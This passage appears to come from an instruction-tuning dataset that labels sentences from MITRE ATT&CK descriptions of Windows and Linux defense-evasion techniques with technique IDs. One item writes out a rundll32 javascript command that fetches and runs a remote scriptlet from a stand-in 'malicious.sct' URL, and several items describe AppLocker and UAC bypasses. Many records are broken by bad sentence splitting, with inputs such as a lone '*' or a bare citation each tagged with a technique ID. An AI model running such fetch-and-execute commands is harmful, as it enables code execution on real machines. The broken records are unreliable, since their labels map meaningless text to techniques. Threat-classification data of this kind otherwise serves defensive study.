code.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse rundll32.exe to proxy execution of malicious code. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002)", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Double-clicking a .cpl file also causes rundll32.exe to execute.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Double-clicking a .cpl file also causes rundll32.exe to execute. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code> ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior has been seen used by malware such as Poweliks.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior has been seen used by malware such as Poweliks. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: This is Security Command Line Confusion)", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: This is Security Command Line Confusion) ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names.", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>).", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code> ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "rundll32.exe", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: rundll32.exe ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "file.dll,#1</code>).", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: file.dll,#1</code>). ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation:", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "rundll32.exe defense evasion)", "output": "T1218.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: rundll32.exe defense evasion) ### Response: T1218.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both are binaries that may be digitally signed by Microsoft.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both are binaries that may be digitally signed by Microsoft. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "output": "T1218.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) ### Response: T1218.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse CMSTP to proxy execution of malicious code.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse CMSTP to proxy execution of malicious code. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may supply CMSTP.exe with INF files infected with malicious commands.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may supply CMSTP.exe with INF files infected with malicious commands. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter CMSTP Usage Jan 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Usage Jan 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Twitter CMSTP Jan 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Twitter CMSTP Jan 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSitPros CMSTP Aug 2017)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSitPros CMSTP Aug 2017) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec)", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Msiexec.exe binary may also be digitally signed by Microsoft.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Msiexec.exe binary may also be digitally signed by Microsoft. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse msiexec.exe to launch local or network accessible MSI files.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018)", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation:", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AlwaysInstallElevated 2018)", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AlwaysInstallElevated 2018) ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated and should no longer be used.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated and should no longer be used. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* /path/to/filename [arguments]</code>.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * /path/to/filename [arguments]</code>. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Take note of the space after the \".\".", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Take note of the space after the \".\". ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without a space, a new shell is created that runs the program instead of running the program within the current context.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without a space, a new shell is created that runs the program instead of running the program within the current context. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this functionality to execute programs.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this functionality to execute programs. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The file executed with this technique does not need to be marked executable beforehand.", "output": "T1153", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The file executed with this technique does not need to be marked executable beforehand. ### Response: T1153."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows systems use a common method to look for required DLLs to load into a program.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems use a common method to look for required DLLs to load into a program. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often this location is the current working directory of the program.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often this location is the current working directory of the program. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft 2269637)", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft 2269637) ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this behavior to cause the program to load a malicious DLL.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this behavior to cause the program to load a malicious DLL. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order) ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "output": "T1038", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. ### Response: T1038."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When operating systems boot up, they can start programs or applications called services that perform background system functions.", "output": "T1050", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start programs or applications called services that perform background system functions. ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet Services)", "output": "T1050", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet Services) ### Response: T1050."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.", "output": "T1050", 